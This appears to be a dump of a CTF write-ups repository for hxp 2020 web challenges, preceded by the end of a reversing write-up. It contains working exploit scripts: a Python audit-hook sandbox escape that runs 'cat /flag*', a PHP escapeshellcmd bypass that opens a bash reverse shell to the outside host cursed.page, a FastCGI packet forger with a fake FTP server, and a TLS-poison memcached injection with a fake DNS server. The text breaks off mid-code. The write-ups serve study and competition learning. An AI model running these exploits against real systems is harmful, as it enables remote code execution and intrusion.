![disasm](https://github.com/user-attachments/assets/5308c43c-2e5d-4b9d-a7fb-fa3b2f44bf81) 12 | 13 | Then I dumped the first bytecode program from gdb memory and disassembled it with the LLM-generated code. 14 | 15 | ![gdb](https://github.com/user-attachments/assets/be86d7d8-c425-485e-9cd3-08caed6943d9) 16 | 17 | After disassembling, I asked the LLM to "decompile" it. It generated a Python script, from which it was obvious that the input is just compared against a hardcoded character sequence. I modified the script to print the sequence and got `DaCubicleLife101`, which was accepted as a valid input. 18 | 19 | ![stage1](https://github.com/user-attachments/assets/a6034d91-9558-4b58-a460-62871f48fbfc) 20 | 21 | Excited, I repeated the same for the second bytecode program. Here, it was obvious that the input can be bruteforced character-by-character, so I manually added 10 Python lines to do this, and got `G3tDaJ0bD0neM4te`, which was also accepted. 22 | 23 | ![stage2](https://github.com/user-attachments/assets/cd44122b-5f8b-4736-8acb-aa2e486de9aa) 24 | 25 | The last program was where the troubles started. The decompilation was fine, but I couldn't see an obvious way to guess the correct input. 26 | 27 | ![stage3](https://github.com/user-attachments/assets/ab90d13a-e5a6-4904-9c8c-afec951c7bc6) 28 | 29 | I asked the LLM to write a Z3 solver, which it did. 30 | 31 | ![stage3_z3](https://github.com/user-attachments/assets/9a556194-a875-4576-91ef-32825ec415e0) 32 | 33 | However, it reported that no solutions were found. The human-in-the-loop (me) was too tired/stupid to see what the problem was, so he spent a lot of time basically imploring LLM to try harder, but none of the solver modifications worked. However, in one of the attempts the 34 | LLM noticed that the first half of the input is bruteforceable after all. I modified the bruteforce part slightly to avoid doing some redundant work, and came up with a plausible first half: `VerYDumB`. 35 | 36 | ![stage3_bruteforce](https://github.com/user-attachments/assets/bc6bcd3f-4cb6-479d-bb11-d40b98726184) 37 | 38 | It didn't really help, even though the LLM claimed it would. 39 | 40 | ![stage3_fail](https://github.com/user-attachments/assets/da71fcc1-976f-4795-ac37-360d103846bb) 41 | 42 | At this point, I decided to cheese it and try to guess the last word. The first attempt failed. 43 | 44 | ![stage3_checksum](https://github.com/user-attachments/assets/08ac6077-0313-4d05-9b28-0c51b93fed26) 45 | 46 | However, a more comprehensive guesser instantly found the right second half: `password`. Which turned out to be correct. 47 | 48 | ![stage3_more_bruteforce](https://github.com/user-attachments/assets/92054f6e-a3ef-41b8-8f61-cfd4ca81a083) 49 | 50 | And here's is the almost successfull LLM attempt to reconstruct the final flag (it didn't recognize the leetspeak in the last image). 51 | 52 | ![final_flag](https://github.com/user-attachments/assets/c48eb8d5-5e7e-4cb8-ad91-4f7368eb0c06) 53 | 54 | All in all, I'm very glad that there is now a viable way to speed up solving this kind of tasks. The challenge is nicely designed, but reverse engineering a bytecode for custom VM is only fun the first 100 times you do it, after that it becomes more of a chore. :) 55 | -------------------------------------------------------------------------------- /hxp-2020/README.md: -------------------------------------------------------------------------------- 1 | **Disclaimer**: we didn't solve any of these tasks during the CTF proper but were persistent enough to solve them afterwards. *Huge* thanks to the organizers for making it possible: 2 | * they provide [a VM with the challenges](https://ctf.link/) for anyone to download (btw, we encourage you to download it and get acquainted with the challenges before reading the writeups). 3 | * they set up a server equivalent to the CTF setup just for us, so that we could test our exploits against the real CTF setup. 4 | 5 | ### Web 6 | 7 | * [heiko](/hxp-2020/heiko) (32 solves). 8 | * [resonator](/hxp-2020/resonator) (17 solves). 9 | * [security scanner](/hxp-2020/security%20scanner) (2 solves). 10 | -------------------------------------------------------------------------------- /hxp-2020/audited/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | In this challenge a Python program reads a fragment of Python code from standard input (technically, `audited.py` was running behind [ynetd](https://github.com/rwstauner/ynetd)), compiles it into a code object and executes it: 4 | 5 | ```python 6 | code = compile(sys.stdin.read(), '', 'exec') 7 | ... 8 | namespace = {} 9 | exec(code, namespace, namespace) 10 | ``` 11 | 12 | 13 | Of course, you cannot simply execute arbitrary code and read the flag, the authors made `audited.py` look like some sort of a sandbox with a relatively recent feature [runtime audit hooks](https://www.python.org/dev/peps/pep-0578/). TLDR: all things from [this table](https://docs.python.org/3/library/audit_events.html) raise an audit event which is processed by a callable registered with `sys.addaudithook`. 14 | 15 | The hook is quite straighforward: 16 | ```python 17 | from os import _exit as __exit 18 | 19 | def audit(name, args): 20 | if not audit.did_exec and name == 'exec': 21 | audit.did_exec = True 22 | else: 23 | __exit(1) 24 | audit.did_exec = False 25 | ``` 26 | 27 | It basically allows `exec` to be executed only once (the invokation that executes compiled code from the input) and calls `__exit(1)` (`os._exit` imported as `__exit`) after any subsequent audit event. 28 | 29 | 30 | ## Path to the Solution 31 | 32 | Naturally, the first idea was to through [the table of audit events](https://docs.python.org/3/library/audit_events.html) and find something that wouldn't cause an audit event but allow to read the flag. This attempt was futile, nothing particularly interesting is missing in the table. 33 | 34 | One of the next ideas was about trying to execute some code after the audit mechanism is de-initialised. For instance, define a class with a finalizer: 35 | 36 | ```python 37 | class C: 38 | 39 | def __del__(self): 40 | print("hi there") 41 | ``` 42 | 43 | `__del__` is supposed to be called when an object is garbage collected (OK, to be more precise, it's not guaranteed, but it usually happens), which in theory might happen after the audit mechanism is de-initialised. 44 | 45 | We carefully examined [pylifecycle.c](https://github.com/python/cpython/blob/master/Python/pylifecycle.c) but `_PySys_ClearAuditHooks` was one of the last things in finalising the interpreter state. Surprisingly, later we found [this issue](https://bugs.python.org/issue41162) - "Clear audit hooks after destructors". It was indeed the case that destructors were called before `_PySys_ClearAuditHooks` in the previous versions of Python, and what I think is really cool, [this bug was reported by the organizers of 0CTF/TCTF 2020 Quals](https://ctftime.org/writeup/21982) after this trick was discovered as an interesting unintended solution of a similar challenge. 46 | 47 | 48 | ## Solution 49 | 50 | OK, after looking at the audit mechanism itself we took a break and assumed that it's pretty solid and realized that it might haven been better for us to attack the logic of the hook function. -------------------------------------------------------------------------------- /hxp-2020/audited/solution.py: -------------------------------------------------------------------------------- 1 | # nc ip port < solution.py 2 | 3 | def do_nothing(_): 4 | pass 5 | 6 | try: 7 | raise Exception() 8 | except Exception as ex: 9 | traceback = ex.__traceback__ 10 | global_frame = traceback.tb_frame.f_back 11 | global_frame.f_globals["__exit"] = do_nothing 12 | 13 | import os 14 | os.system("cat /flag*") 15 | -------------------------------------------------------------------------------- /hxp-2020/heiko/README.md: -------------------------------------------------------------------------------- 1 | This challenge is a PHP application that renders the man page for a given command as HTML. The command is taken from the query string and passed as an argument to `/usr/bin/man` via `shell_exec()`: 2 | ```php 3 | $arg = $_GET['page']; 4 | [...] 5 | $manpage = shell_exec('/usr/bin/man --troff-device=html --encoding=UTF-8 ' . $arg); 6 | ``` 7 | 8 | This would be a straight-up RCE, if it wasn't for an ad-hoc query sanitizer slapped on top of this: 9 | 10 | 1. Quotes of all kinds are stripped right away: `$arg = mb_ereg_replace('["\']', '', $arg);`. 11 | 2. If there are non-word characters at the beggining of a token (`if (mb_ereg('(^|\\s+)\W+', $arg) [...] ) {`), they are also stripped: `$arg = mb_ereg_replace('(^|\\s+)\W+', '\\1', $arg);`. This prevents us from passing additional funny `-Options` or `--options` to `/usr/bin/man`. 12 | 3. Finally, `$arg = escapeshellcmd($arg)` escapes pretty much everything we could use in a shell command for malicious purposes. 13 | 14 | At first glance, this seems surprisingly solid. But, unfortunately for the author of the sanitizer and fortunately for us, the challenge tries to use UTF-8: 15 | ```php 16 | mb_regex_encoding('utf-8') or die('Invalid encoding'); 17 | mb_internal_encoding('utf-8') or die('Invalid encoding'); 18 | setlocale(LC_CTYPE, 'en_US.utf8'); 19 | ``` 20 | 21 | In fact, strings in PHP are just old-school byte sequences. All `mb_internal_encoding()/mb_regex_encoding()` do is simply set the `encoding` parameters for `mb_*` functions, which will then handle the bytes accordingly. If the bytes we provide to these functions are not actually valid UTF-8, well, tough luck: 22 | ```php 23 | this is incorrect UTF-8 32 | $invalid_utf8 = "\xca" . $valid_utf8; 33 | 34 | // The original valid UTF-8 triggers the sanitizer, 35 | // so this prints "Uh-oh, busted.". 36 | if (mb_ereg("(^|\\s+)\W+", $valid_utf8)) { 37 | echo "Uh-oh, busted.", PHP_EOL; 38 | } else { 39 | echo "Go ahead.", PHP_EOL; 40 | } 41 | 42 | // However, regular expression functions silently fail 43 | // on invalid UTF-8, which means this prints "Go ahead." 44 | if (mb_ereg("(^|\\s+)\W+", $invalid_utf8)) { 45 | echo "Uh-oh, busted.", PHP_EOL; 46 | } else { 47 | echo "Go ahead.", PHP_EOL; 48 | } 49 | 50 | // After that, escapeshellcmd() simply drops the invalid character, 51 | // which is exactly what we want (i.e., this prints "bool(true)"). 52 | var_dump($valid_utf8 === escapeshellcmd($invalid_utf8)); 53 | ?> 54 | ``` 55 | 56 | Great, so this allows us to smuggle an additional option to `/usr/bin/man`. There are plenty to choose from; the most obvious one is `-H`, which allows us to specify a web browser to view the man page. `escapeshellcmd()` still escapes everything, but that actually works for us, not against: 57 | * the shell that PHP runs to execute `/usr/bin/man` sees escaped characters, so they are not interpreted in any way and are just passed to the `-H` option of `/usr/bin/man` directly; 58 | * however, *the shell that `/usr/bin/man` itself spawns to invoke the browser* sees unescaped characters. 59 | 60 | This means we can use [the standard bash payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp) to obtain a reverse shell. We only need to ensure we avoid spaces (they are not quoted by `escapeshellcmd()`, but can be replaced with `${IFS}`) and quotes (they are stripped unconditionally; we can base64-encode our payload to bypass this): 61 | ```python 62 | REV_SHELL = 'bash -i >& /dev/tcp/`getent hosts cursed.page | cut -d" " -f1`/31337 0>&1' 63 | SAFE_REV_SHELL = f'echo {base64.b64encode(REV_SHELL.encode()).decode()} | base64 -d | bash'.replace(' ', '${IFS}') 64 | CGI_READY_REV_SHELL = b'\xca-H' + SAFE_REV_SHELL.encode() + b'; id' 65 | 66 | [...] 67 | 68 | requests.get(URL, params={ 69 | 'page': CGI_READY_REV_SHELL, 70 | }) 71 | ``` 72 | 73 | This is not the end of it, because we still can't read the flag even with a shell: 74 | ``` 75 | PS> python .\get_shell.py [REDACTED_IP] 76 | [...] 77 | $ nc -lv 31337 78 | Listening on [0.0.0.0] (family 2, port 31337) 79 | Connection from [REDACTED_IP] received! 80 | bash: cannot set terminal process group (17): Inappropriate ioctl for device 81 | bash: no job control in this shell 82 | www-data@b5c29be1eabd:~/html$ ls -lh / 83 | ls -lh / 84 | ls: cannot open directory '/': Permission denied 85 | ``` 86 | 87 | The flag is stored in `/`, but its basename is 24 random characters, which is unguessable. And the AppArmor policy for `/usr/bin/man` allows us to list files in any directory *except* the root one: 88 | ``` 89 | www-data@b5c29be1eabd:~/html$ cat /etc/apparmor.d/usr.bin.man 90 | [...] 91 | /** mrixwlk, 92 | [...] 93 | ``` 94 | 95 | php-fpm, though, is not confined to any AppArmor policy. Even better, our reverse shell is running as `www-data` and we can talk to PHP via a UNIX socket (`/run/php/php7.3-fpm.sock`). 96 | 97 | The obvious idea is to trick PHP into revealing the contents of `/`. PHP (php-fpm) speaks [FastCGI](http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html), which seems moderately annoying to implement. 98 | In order to avoid that, we spin up another instance of `nginx` with a custom config pointed at `/tmp/evil`. 99 | 100 | ``` 101 | www-data@b5c29be1eabd:/tmp/evil$ cat nginx.conf 102 | pid /tmp/evil/evil.pid; 103 | events {} 104 | 105 | error_log /tmp/evil/err.evil; 106 | 107 | http { 108 | access_log /tmp/evil/acc.evil; 109 | server { 110 | listen 127.0.0.1:31337 default_server; 111 | root /tmp/evil; 112 | server_name _; 113 | location ~ \.php$ { 114 | include /etc/nginx/fastcgi.conf; 115 | fastcgi_param PHP_VALUE open_basedir=/; 116 | fastcgi_pass unix:/run/php/php7.3-fpm.sock; 117 | } 118 | } 119 | } 120 | ``` 121 | 122 | The `fastcgi_param PHP_VALUE open_basedir=/` bypass is crucial for this to work. 123 | If we omit it, php-fpm refuses to run scripts from `/tmp/evil` because its `open_basedir=` is set to `/var/www/html` in `www.conf`. 124 | 125 | When we run `nginx` with this config, it complains that the error log is missing (I didn't find a way to make this warning go away), but runs anyway: 126 | ``` 127 | www-data@b5c29be1eabd:/tmp/evil$ /usr/sbin/nginx -c /tmp/evil/nginx.conf 128 | nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (6: No such device or address) 129 | www-data@b5c29be1eabd:/tmp/evil$ cat evil.pid 130 | 172 131 | ``` 132 | 133 | Now all we need is a script that is going to be run by `php-fpm`: 134 | ``` 135 | www-data@b5c29be1eabd:/tmp/evil$ cat evil.php 136 | 137 | ``` 138 | 139 | And another one to orchestrate everything and finally get the flag: 140 | ``` 141 | www-data@b5c29be1eabd:/tmp/evil$ cat fetch_evil.php 142 | 143 | www-data@b5c29be1eabd:/tmp/evil$ php -f fetch_evil.php 144 | /flag_XaPrL5YjYmIhrOqxqSbUaE3u.txt 145 | www-data@b5c29be1eabd:/tmp/evil$ cat /flag_XaPrL5YjYmIhrOqxqSbUaE3u.txt 146 | hxp{maybe_this_will_finally_get_me_that_sweet_VC_money$$$} 147 | ``` 148 | -------------------------------------------------------------------------------- /hxp-2020/heiko/get_shell.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import requests 3 | import sys 4 | 5 | 6 | REV_SHELL = 'bash -i >& /dev/tcp/`getent hosts cursed.page | cut -d" " -f1`/31337 0>&1' 7 | SAFE_REV_SHELL = f'echo {base64.b64encode(REV_SHELL.encode()).decode()} | base64 -d | bash'.replace(' ', '${IFS}') 8 | CGI_READY_REV_SHELL = b'\xca-H' + SAFE_REV_SHELL.encode() + b'; id' 9 | VICTIM_PORT = 8820 10 | 11 | 12 | if __name__ == '__main__': 13 | victim_host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 14 | victim_addr = f'http://{victim_host}:{VICTIM_PORT}/' 15 | requests.get(victim_addr, params={ 16 | 'page': CGI_READY_REV_SHELL, 17 | }) 18 | -------------------------------------------------------------------------------- /hxp-2020/resonator/README.md: -------------------------------------------------------------------------------- 1 | This is the shortest of the web challenges, totaling only five lines in `index.php`: 2 | ```php 3 | 25 | ``` 26 | 27 | Unlike in the other web challenges, the socket that php-fpm listens on is a regular TCP socket, not a UNIX one: 28 | ``` 29 | fastcgi_pass 127.0.0.1:9000; 30 | ``` 31 | 32 | This suggests we try to reuse our trick from [heiko](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/heiko) with a slight modification. 33 | As before, we first save a malicious PHP script that runs `/readflag` to `/tmp/`. After that, since we don't have a shell and can't talk to the PHP socket directly, 34 | we trick `file_*_contents()` into connecting to the socket and sending a FastCGI message that would execute the malicious script. 35 | 36 | We can craft such a message in [a few lines of Python](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/resonator/exploit.py#L40). 37 | However, because the FastCGI protocol is binary, the hard part is figuring out how to deliver it over the socket. We decided to implement a fake FTP server (again, [a small Python script](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/resonator/fake_ftp.py)) 38 | that redirects PHP to `127.0.0.1:9000` when `file_put_contents()` is called and PHP tries to open a data connection in passive mode. 39 | 40 | Here's how it works: 41 | 42 | ![This FTP is so fake](fake_ftp.png) 43 | 44 | The only minor detail remaining is how to send the flag to us after spawning `/readflag` because `file_put_contents()` that talks to FTP 45 | obviously won't send anything back to the client. Our PHP payload saves the flag in `/tmp/whatever` and makes it readonly: 46 | ```php 47 | /tmp/{FLAG_TXT_ID}.txt && chmod 444 /tmp/{FLAG_TXT_ID}.txt"); ?> 48 | ``` 49 | 50 | This means that the flag can't be overwritten by `file_put_contents()` and we can retrieve it simply with `GET /index.php?file=/tmp/whatever`. 51 | Combining all the pieces, we run [the exploit](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/resonator/exploit.py) and finally get what we want: 52 | ``` 53 | PS> python .\exploit.py [REDACTED_IP] 54 | hxp{I_hope_you_did_not_had_to_read_php-src_for_this____lolphp} 55 | ``` 56 | -------------------------------------------------------------------------------- /hxp-2020/resonator/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import requests 4 | import struct 5 | import sys 6 | 7 | 8 | VICTIM_PORT = 8009 9 | FAKE_FTP_ADDR = 'ftp://cursed.page:31337/pwned' 10 | EVIL_SCRIPT_ID = os.urandom(16).hex() 11 | FLAG_TXT_ID = os.urandom(16).hex() 12 | 13 | 14 | FCGI_BEGIN_REQUEST = 1 15 | FCGI_PARAMS = 4 16 | FCGI_STDIN = 5 17 | FCGI_RESPONDER = 1 18 | 19 | 20 | def create_packet(packet_type, content): 21 | version, request_id, padding_length, reserved = 1, 1, 0, 0 22 | header = struct.pack('>BBHHBB', version, packet_type, request_id, len(content), padding_length, reserved) 23 | return header + content 24 | 25 | 26 | def pack_params(params): 27 | result = b'' 28 | for k, v in params.items(): 29 | assert len(k) <= 127 and len(v) <= 127 30 | result += struct.pack('>BB', len(k), len(v)) + k.encode() + v.encode() 31 | return result 32 | 33 | if __name__ == '__main__': 34 | victim_host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 35 | victim_addr = f'http://{victim_host}:{VICTIM_PORT}/' 36 | 37 | params = { 38 | 'SCRIPT_FILENAME': f'/tmp/{EVIL_SCRIPT_ID}.php', 39 | 'QUERY_STRING': '', 40 | 'SCRIPT_NAME': f'/{EVIL_SCRIPT_ID}.php', 41 | 'REQUEST_METHOD': 'GET', 42 | } 43 | 44 | evil_fcgi_packet = b''.join([ 45 | create_packet(FCGI_BEGIN_REQUEST, struct.pack('>H', FCGI_RESPONDER) + b'\x00' * 6), 46 | create_packet(FCGI_PARAMS, pack_params(params)), 47 | create_packet(FCGI_PARAMS, pack_params({})), 48 | create_packet(FCGI_STDIN, b''), 49 | ]) 50 | 51 | evil_php = f''' 52 | /tmp/{FLAG_TXT_ID}.txt && chmod 444 /tmp/{FLAG_TXT_ID}.txt"); ?> 53 | ''' 54 | 55 | requests.get(victim_addr, params={ 56 | 'file': f'/tmp/{EVIL_SCRIPT_ID}.php', 57 | 'data': evil_php, 58 | }) 59 | 60 | requests.get(victim_addr, params={ 61 | 'file': FAKE_FTP_ADDR, 62 | 'data': evil_fcgi_packet, 63 | }) 64 | 65 | flag = requests.get(victim_addr, params={ 66 | 'file': f'/tmp/{FLAG_TXT_ID}.txt', 67 | 'data': '', 68 | }).text 69 | 70 | print(re.search('(hxp{.*})', flag).group(1)) 71 | -------------------------------------------------------------------------------- /hxp-2020/resonator/fake_ftp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/hxp-2020/resonator/fake_ftp.png -------------------------------------------------------------------------------- /hxp-2020/resonator/fake_ftp.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | 3 | 4 | LOCAL_PORT = 9000 5 | 6 | 7 | class FakeFTP(socketserver.StreamRequestHandler): 8 | def _send(self, cmd): 9 | print(f'Sent "{cmd.decode()}"') 10 | self.wfile.write(cmd + b'\r\n') 11 | 12 | def handle(self): 13 | print('A new connection appears!') 14 | self._send(b'200 oh hai') 15 | while True: 16 | cmd = self.rfile.readline().rstrip() 17 | print(f'Got "{cmd.decode()}"') 18 | 19 | if cmd: 20 | cmd = cmd.split()[0] 21 | 22 | if cmd in (b'USER', b'TYPE'): 23 | self._send(b'200 ok') 24 | elif cmd in (b'SIZE', b'EPSV'): 25 | self._send(b'500 nope') 26 | elif cmd == b'PASV': 27 | self._send(f'227 go to (127,0,0,1,{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode()) 28 | elif cmd == b'STOR': 29 | self._send(b'150 do it!') 30 | self._send(b'226 nice knowing you') 31 | elif cmd in (b'', b'QUIT'): 32 | print('All done!') 33 | break 34 | else: 35 | raise Exception('Unknown command') 36 | 37 | 38 | if __name__ == '__main__': 39 | with socketserver.TCPServer(('', 31337), FakeFTP) as server: 40 | print('Welcome to FakeFTP') 41 | server.serve_forever() 42 | -------------------------------------------------------------------------------- /hxp-2020/security scanner/README.md: -------------------------------------------------------------------------------- 1 | This is a "security scanner" in PHP which, given a URL of a git repository, applies a heuristic algorithm that checks if there 2 | any security vulnerabilites in the code: 3 | ```php 4 | if(TRUE) { // patented algorithm (tm) 5 | echo 'Likely insecure :('; 6 | } 7 | ``` 8 | ...hard to argue with that! 9 | 10 | Once again, our goal is to execute the `/readflag` binary on the server to read the flag. 11 | 12 | The PHP application visits the given URL twice: 13 | 1. (using `file_get_contents(URL)`) To validate that this is a legitimate git server. The validation results for all URLs are stored in memcached. 14 | 2. (using `git ls-remote`) To actually fetch the tags of the repository. 15 | 16 | Here's a visualization of what happens when we put a legitimate git repository in the scanner: 17 | 18 | ![Works as intended](good_workflow.png) 19 | 20 | Since `git ls-remote` is run with `exec()`, a rogue "URL" in memcached is an instant Game Over for the challenge authors: 21 | 22 | ![Uh-oh](bad_workflow.png) 23 | 24 | How can we successfully "validate" `;/readflag`, though? Initially it seems like we can't, because: 25 | 1. A valid URL should match `/^[0-9a-zA-Z:\.\/-]{1,64}$/`, and `;/readflag` definitely doesn't. The code uses `preg_match()`, so we can't 26 | use UTF-8 shenanigans as in [heiko](shenanigans), either. 27 | 2. Even if the regular expression matched, `;/readflag` is not a valid URL that `file_get_contents()` would recognize. 28 | 29 | The good news is the memcached protocol is [notoriously vulnerable](https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf) to injections. 30 | Essentially, if we can make either `file_get_contents()` or `git ls-remote` connect to `127.0.0.1:11211` and send some `\r\n`'s, we win. 31 | 32 | Smuggling CRLFs into memcached proves to be surprisingly tricky: 33 | * HTTP(S) implementations both in PHP and libcurl (which is what `git` uses under the hood) have protections against request splitting 34 | and won't let us use `\r\n` in a valid HTTP request. We tried various ways, and none of those worked. 35 | * FTP is of not much help here, unlike in [resonator](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/heiko). While we still redirect the 36 | FTP client to 127.0.0.1, this time we can only retrieve data, not store it. 37 | * Smuggling newlines in the FTP username fails, too, due to the regexp that validates the URL. 38 | 39 | Just when it seems that all hope is lost, [TLS Poison](https://github.com/jmdx/TLS-poison) appears! Brifely, a TLS server may 40 | set a session ID for the client, which the client may pass to the server on subsequent connections to re-use the same premaster 41 | secret they had used before to encrypt the traffic. This ID is stored in the clear in the very first TLS handshake packet the client 42 | sends to the server. 43 | 44 | However, most TLS stacks only look at the host/port when determining if 45 | a session ID should be reused. This means that if a malicious HTTPS server redirects the client to itself, but the same host now suddenly 46 | resolves to `127.0.0.1`, the client will still happily send the session ID to whatever local service is listening locally on this port 47 | (spoler: it's memcached). The session ID is just random 32 bytes, so we can easily pack `\r\n` into it. 48 | 49 | `file_get_contents()` in PHP doesn't seem to re-use TLS session IDs, so our implementation of this attack targets git/libcurl 50 | and does it little bit differently from vanilla TLS Poison: 51 | 52 | ![Our attack](tls_poison.png) 53 | 54 | First, a [custom rustls fork](https://github.com/jmdx/TLS-poison/tree/master/rustls) is an overkill for CTF purposes. If we're willing 55 | to cut some corners (e.g., don't use ephemeral Diffie-Hellman or any extensions), we can create a simple TLS server in [~200 line of Python](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/fake_git.py#L196). 56 | 57 | Second, libcurl aggressively caches DNS lookup results for 60 seconds, even for DNS records with zero TTL. This means 58 | the standard DNS rebinding technique doesn't work, since curl will just reconnect to the same server after a HTTP redirect. 59 | To overcome this, we return two A records for our fake git servers: the first one is a real IP address, the second one is `0.0.0.0` (incidentally, this means we don't really need a custom DNS resolver at all, but hey, it's only [~100 lines](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/fake_dns.py) of Python). After serving the HTTP redirect, we immediately shutdown the server, so that libcurl thinks it's dead and tries `0.0.0.0` instead, which will lead it to memcached. 60 | 61 | Note that we can't return an A record with `127.0.0.1` directly. `getaddrinfo()` 62 | reorders IPv4 addresses according to section 3.2 of [RFC 3484](https://www.ietf.org/rfc/rfc3484.txt), which results in libcurl ignoring the real IP address and always connecting to `127.0.0.1`. 63 | 64 | Armed with fake DNS and fake TLS, we [obtain the flag](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/exploit.py): 65 | ``` 66 | PS> python .\exploit.py [REDACTED_IP] 67 | Got PHP cookie 3kdatudleb9qsarh0gbinjatq3 and sandbox id TkUroC3hS68xig 68 | Poisoning memcached 69 | Memcached is poisoned, reading flag 70 | hxp{Bundesamt_fuer_Sicherheit_in_der_Informationstechnik_(_lol_)_would_approve} 71 | ``` 72 | 73 | For completeness, here is the output from FakeGIT: 74 | ``` 75 | Welcome to FakeGIT 76 | Got a connection from [REDACTED] 77 | Got client hello 78 | Sent server hello with session id b'' 79 | Sent 2 certificates 80 | Sent server hello done 81 | Got a premaster secret 82 | Got client finished 83 | Sent server finished, the connection is ready 84 | Got a message of length 118 85 | This is PHP! Showing them something that looks like a git repo and stealing sandbox ID 86 | Got sandbox id: b'NE+\xa0-\xe1K\xaf1\x8a', session_id: b'\r\nset NE+\xa0-\xe1K\xaf1\x8a;/r* 0 0 2\r\nOK\r\n' 87 | Sent a message of length 118 88 | Got a connection from [REDACTED] 89 | Got client hello 90 | Sent server hello with session id b'\r\nset NE+\xa0-\xe1K\xaf1\x8a;/r* 0 0 2\r\nOK\r\n' 91 | Sent 2 certificates 92 | Sent server hello done 93 | Got a premaster secret 94 | Got client finished 95 | Sent server finished, the connection is ready 96 | Got a message of length 186 97 | This is git! Redirecting it back to memcached and shutting down 98 | Sent a message of length 138 99 | Laying low for 5 seconds so that the git client doesn't reconnect to us 100 | Welcome to FakeGIT 101 | ``` 102 | 103 | P.S. Some of the minor details were omitted for clarity in this writeup: 104 | * the memcached instance was shared between the teams during the CTF, so the security scanner prepends a "sandbox ID" at the beginning of memcached keys. 105 | The sandbox ID is different for each team and is stored in the PHP session; 106 | * with the sandbox ID in place, `;/readflag` is actually too long to fit in the TLS session id and has to be shortened to `;/r*` (we're lucky that there are no other binaries starting with `r` in `/`). 107 | * the organizers told us the intended solution for this challenge was using FTPS instead of HTTPS. This is left as an exercise for the reader. :-) 108 | -------------------------------------------------------------------------------- /hxp-2020/security scanner/bad_workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/hxp-2020/security scanner/bad_workflow.png -------------------------------------------------------------------------------- /hxp-2020/security scanner/exploit.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | import sys 4 | 5 | 6 | VICTIM_PORT = 8010 7 | FAKE_GIT_ADDR = 'https://fakegit.cursed.page:11211/' 8 | 9 | 10 | if __name__ == '__main__': 11 | victim_host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 12 | victim_addr = f'http://{victim_host}:{VICTIM_PORT}/' 13 | 14 | response = requests.get(victim_addr) 15 | cookies = response.cookies 16 | sandbox_id = re.search('(.*?)', response.text).group(1).rstrip('=') 17 | 18 | print(f'Got PHP cookie {cookies["PHPSESSID"]} and sandbox id {sandbox_id}') 19 | 20 | print(f'Poisoning memcached') 21 | response = requests.get(victim_addr, cookies=cookies, params={ 22 | 'url': f'{FAKE_GIT_ADDR}{sandbox_id}', 23 | }) 24 | assert 'analysis failed' in response.text, f'Got an unexpected response: {response.text}' 25 | 26 | print(f'Memcached is poisoned, reading flag') 27 | response = requests.get(victim_addr, cookies=cookies, params={ 28 | 'url': ';/r*', 29 | }) 30 | assert 'hxp{' in response.text, f'Unexpected response: {response.text}' 31 | print(re.search('(hxp{.*})', response.text).group(1)) 32 | -------------------------------------------------------------------------------- /hxp-2020/security scanner/fake_dns.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import ipaddress 3 | import os 4 | import socket 5 | import struct 6 | import sys 7 | 8 | 9 | A_TYPE = 1 10 | SUPPORTED_TYPES = [A_TYPE] 11 | IN_CLASS = 1 12 | 13 | 14 | def hostname_to_dns_repr(hostname): 15 | def label_to_dns_repr(label): 16 | label = label.encode() 17 | return bytes([len(label)]) + label 18 | 19 | return b''.join(label_to_dns_repr(label) for label in hostname.split('.')) 20 | 21 | 22 | def pack_ttl_with_data(ttl, data): 23 | return b''.join([ 24 | struct.pack('>IH', ttl, len(data)), 25 | data, 26 | ]) 27 | 28 | 29 | def pack_a_answer(query, ips): 30 | return b''.join([ 31 | query + pack_ttl_with_data(0, ipaddress.IPv4Address(ip).packed) 32 | for ip in ips 33 | ]) 34 | 35 | 36 | def to_expected_query(hostname, tp): 37 | return hostname + struct.pack('>HH', tp, IN_CLASS) 38 | 39 | 40 | if __name__ == '__main__': 41 | p = argparse.ArgumentParser() 42 | p.add_argument('hostname') 43 | p.add_argument('--mode', required=True, choices=('rebinding', 'static_zero')) 44 | args = p.parse_args() 45 | 46 | assert args.hostname.count('.') == 3 and args.hostname.endswith('.'), 'Invalid hostname' 47 | expected_hostname = hostname_to_dns_repr(args.hostname) 48 | fake_addr = socket.gethostbyname(args.hostname[args.hostname.index('.') + 1:]) 49 | 50 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 51 | sock.bind(('', 53)) 52 | 53 | while True: 54 | packet, client_addr = sock.recvfrom(512) 55 | print(f'Got a packet from {client_addr}') 56 | 57 | header_len = 12 58 | header_fmt = '>' + 'H'*6 59 | if len(packet) < header_len: 60 | print(f'Dropping the packet because it it too short ({len(packet)} bytes)', file=sys.stderr) 61 | continue 62 | 63 | header = packet[:header_len] 64 | transaction_id, flags, query_count, *_ = struct.unpack(header_fmt, header) 65 | 66 | if query_count != 1: 67 | print(f'Dropping the packet because it has more than one query', file=sys.stderr) 68 | continue 69 | 70 | query = packet[header_len:header_len + len(expected_hostname) + 4] 71 | query_type = next(( 72 | tp 73 | for tp in SUPPORTED_TYPES 74 | 